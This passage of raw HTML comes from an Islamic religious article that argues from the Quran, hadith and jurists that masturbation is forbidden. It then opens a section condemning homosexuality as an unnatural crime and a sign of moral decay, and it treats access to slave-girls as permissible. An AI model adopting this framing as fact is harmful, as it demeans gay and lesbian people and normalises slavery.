slave-girls.&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt; &lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Similarly, these &lt;i&gt;Fuqahaa&lt;/i&gt; (Jurists) have drawn their conclusion from the following aayah:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt; &quot;And those who do not find the means to marry should remain chaste until Allah gives them resources by His Grace.&quot; (Surah Al Mu&#39;minoon : Verse 32)&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;This aayah shows masturbation to be &lt;i&gt;haraam&lt;/i&gt; because of two reasons: Firstly: In this aayah Allah Ta&#39;aala has given the command of chastity and, according to the principles of &lt;i&gt;fiqh,&lt;/i&gt; a command (an imperative) denotes &lt;i&gt;wujoob&lt;/i&gt; (incumbency, obligation). Hence to remain chaste is &lt;i&gt;wajib&lt;/i&gt; (compulsory) and wherever chastity is &lt;i&gt;wajib&lt;/i&gt; it becomes &lt;i&gt;wajib&lt;/i&gt; to refrain from that which is contrary to it, for example, adultery, fornication, and sodomy. This is due to the fact that obligatory chastity will not materialize except by complete refrainment from all that which is contrary to chastity. &lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Secondly, in this aayah Allah Ta&#39;aala has made chastity obligatory on those who are unable to execute the command of &lt;i&gt;nikah&lt;/i&gt;. Here Allah Ta&#39;aala has not determined any connection or link between marriage and chastity. Hence, this demands that masturbation should be &lt;i&gt;haraam&lt;/i&gt;. And if assuming, it was permissible, then Allah Ta&#39;aala would have mentioned it at this point because this was the place of its explanation. The silence maintained by Allah Ta&#39;aala with regards to it at a place which requires its explanation, denotes that masturbation is &lt;i&gt;haraam&lt;/i&gt;.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Imaam Qurtubi Rahmatullah alaihi has written in the &lt;i&gt;tafseer&lt;/i&gt; of this aayah: &quot;And when Allah Ta&#39;aala has not determined any order between &lt;i&gt;nikah&lt;/i&gt; and chastity, then this shows that besides these two, everything else is &lt;i&gt;haraam&lt;/i&gt;. However, this &lt;i&gt;hurmat&lt;/i&gt; (unlawfulness) does not include slave-girls because another command of the Quraan makes them &lt;i&gt;mubaah&lt;/i&gt; (permissible), viz. &quot;That which the right-hands earn (i.e. slave girls).&quot; Hence in this matter an addition of slave-girl has come. Masturbation, however still remains&lt;i&gt; haraam.&quot;&lt;/i&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;Those who seek beyond this (i.e wives and slave girls] are transgressors.&quot; (Surah Ma&#39;aarij : Verse 31)&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Under the &lt;i&gt;tafseer&lt;/i&gt; of this aayah, Qadhi Thanaullah Paani Patti writes: &quot;Imaam Baghawi has deduced from this aayat that masturbation is haraam.&quot;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size:16.0pt;font-family: &amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Proofs from the &lt;a name=&quot;Ahaa&quot;&gt;Ahaa&lt;/a&gt;deeth&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;font-size:16.0pt&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style=&quot;margin-left:22.5pt;text-align:justify;text-indent:-.25in;mso-list: l3 level1 lfo9&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;;mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;; font-weight:normal&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; &quot;&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Similarly, the Fuqahaa have drawn their conclusion from a hadeeth reported by Abdullah bin Mas&#39;ud Radiallahu anhu in Bukhari and Muslim. He says that Rasulullah sallallahu alaihi wasallam said:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;O group of youth! Whoever from amongst you can marry should do so because it keeps the gaze low and it protects the private parts. And he who cannot marry should make it compulsory upon himself to fast because it breaks lust.&quot; (Bukhari : vol.6, pg.117 ; Muslim: vol.10, pg.172)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Nabi sallallahu alaihi wasallam has directed the person who is incapable of bearing the burden of &lt;i&gt;nikah&lt;/i&gt; towards &lt;i&gt;saum&lt;/i&gt; (fasting). If assuming, masturbation was permissible Rasulullah sallallahu alaihi wasallam would have mentioned it at this point. Rasulullah sallallahu alaihi wasallam however, maintained silence. Hence, this indicates that masturbation is &lt;i&gt;haraam&lt;/i&gt; because the maintaining of silence at the place of explanation gives the benefit of restriction.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Some of the &lt;i&gt;fuqahaa&lt;/i&gt; have drawn their conclusion from a narration reported by Hasan bin Arfah that Nabi sallallahu alaihi wasallam said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;Seven persons are such that Allah will not look at them on the Day of Qiyaamah nor will He purify them nor will He include them amongst the learned and Allah will enter them into Jahannum. They will enter Jahannum first except for those who repent. As for those who repent Allah will accept their repentence.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;      &lt;/span&gt;i.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;A person who masturbates.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;     &lt;/span&gt;ii.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;A person who performs the act of sodomy.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;    &lt;/span&gt;iii.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The person upon whom the act of sodomy is performed.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;    &lt;/span&gt;iv.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;A perpetual drunkard&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;     &lt;/span&gt;v.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The person who hits his parents so much so that they appeal for help.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;    &lt;/span&gt;vi.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The person who harms his neighbours so much so that they curse him.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify;text-indent:-.5in;mso-text-indent-alt:-.25in; mso-list:l0 level1 lfo4;tab-stops:list .5in&quot;&gt;&lt;!--[if !supportLists]--&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;;mso-fareast-font-family:&amp;quot;Gill Sans MT&amp;quot;; mso-bidi-font-family:&amp;quot;Gill Sans MT&amp;quot;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;   &lt;/span&gt;vii.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; font-style: normal; &quot;&gt;        &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;The person who commits adultery with his neighbour&#39;s wife.&quot; (Ibn Katheer: vol.5, pg.458)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Hadhrat Anas Radiallahu anhu narrates that Rasulullah sallallahu alaihi wasallam said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Gill Sans MT&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;&quot;The person who performs nikaah with his hands (i.e. he masturbates) is cursed.&quot; (Tasfseer Mazhari: vol.12, pg.94)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size:12.0pt; line-height:115%&quot;&gt;Homo Sexual and Lesbianism&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;In this materialistic age when everything is being sacrificed at the altar of &#39;freedom&#39;, the world from east to west is witnessing a total collapse of morality and decency. Virtue is portrayed as evil while sins of every type are being glamorized so as to seem acceptable to society. Honesty, fidelity, generosity, piety, chastity, the fear of Allâh, etc. are rarely looked upon as praiseworthy qualities, while adultery, gambling, fraud, usury, cheating, abortion, homosexuality, lesbianism etc. are fast becoming the order of the day.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;In many of the so-called democracies, there is no longer any stigma in even committing sins openly because of the many corrupt laws that support such sins. In fact, today, in some of the world&#39;s biggest &#39;democracies&#39; the more a leader publicizes his immoral and adulterous exploits, the more his popularity seems to increase and the greater his chances of being re-elected by the people.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;But the saddest part of this is that while the Muslims were supposed to lead the world out of this turmoil and offer it Islâm as the only solution to its problems, they have begun to embrace the bankrupt ways of those who are themselves groping in the darkness of ignorance. Unfortunately many of the abominable practices found in the West and other &lt;/span&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;kuffâr&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt; societies are creeping into Muslim societies. May Allâh protect us!&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;It is time for the Muslim Ummah to awaken from its slumber and realise that it is the duty of every Muslim to remind the whole of mankind that success lies only in fulfilling the orders of Allâh in the way shown by our Nabi. This article, based on a pamphlet that was distributed in Saudi Arabia by the General Presidency, Department for the Promotion of Virtue and the Prevention of Vice (26 Shawwal 1415), discusses the issue of homosexuality and lesbianism in Islâm. Although the masculine gender has been used in this article, it applies to both males and females alike.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;S&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;in of homosexuality is &lt;/span&gt;&lt;/strong&gt;&lt;em&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;harâm&lt;/span&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt;. But do you know how serious this crime is and just how despicable it is in the sight of Allâh Ta&#39;âla?&lt;/span&gt;&lt;/strong&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;;font-weight:normal&quot;&gt;when it is against the very nature of man, nay even of animals, what is the position of the person who indulges in it! Is such a person unaware that Allâh Ta&#39;âla in all His Grandeur, Might and Power - is watching him while he indulges in his harâm act? is he not aware that Allâh Ta&#39;âla has the power to send down upon him a swift and severe punishment or even seize him while he is involved in it? What will his position be when he appears before his Rabb [sustainer] on the day of Qiyâmah?&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;And such is the grasp of your Rabb when He seizes a community while it transgresses! Certainly His grasp is very painful  (Surah Hud verse 102)&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Let us now look at a few verses of the Qur&#39;ân, Ahadith, narrations of the Sahibah RA and sayings and verdicts of the Ulama regarding the sin of homosexuality or sodomy. Thereafter, let us see what are some of the diseases that spread as a result of it as well as some solutions. May Allâh Ta&#39;âla grant us the ability to follow His guidance and the sunnah of His Beloved Nabi SAW.&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 12.0pt;line-height:115%;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;In the light of Hadiths:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Our beloved Rasulullah (Sallallahu alaihi wasallam) said: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Certainly the thing I fear most on my Ummah is the (wicked) practice of the people of Lût AS. (Tirmizi, Ahmad, Ibn Hajr AI-Haythami, Ad-duri and Al-Âjuri)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt; &lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;i&gt; &lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Hazrat Ali bin Abi Tâlib RA relates: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Whoever allows himself to be used sexually (by becoming a homosexual or sodomite), Allâh Ta&#39;âla will expel from him the natural desire for women.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;Najeeb As-Sirri RA, says: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p style=&quot;margin-top:5.0pt;margin-right:.5in;margin-bottom:5.0pt;margin-left: .5in;text-align:justify&quot;&gt;&lt;strong&gt;&lt;i&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-weight:normal&quot;&gt;They (i.e. our pious elders) would even dislike looking at handsome young boys.&lt;/span&gt;&lt;/i&gt;&lt;/strong&gt;&lt;i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p style=&quot;text-align:justify&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-family:&amp;quot;Century Gothic&amp;quot;,&amp;quot;sans-serif&amp;quot;; 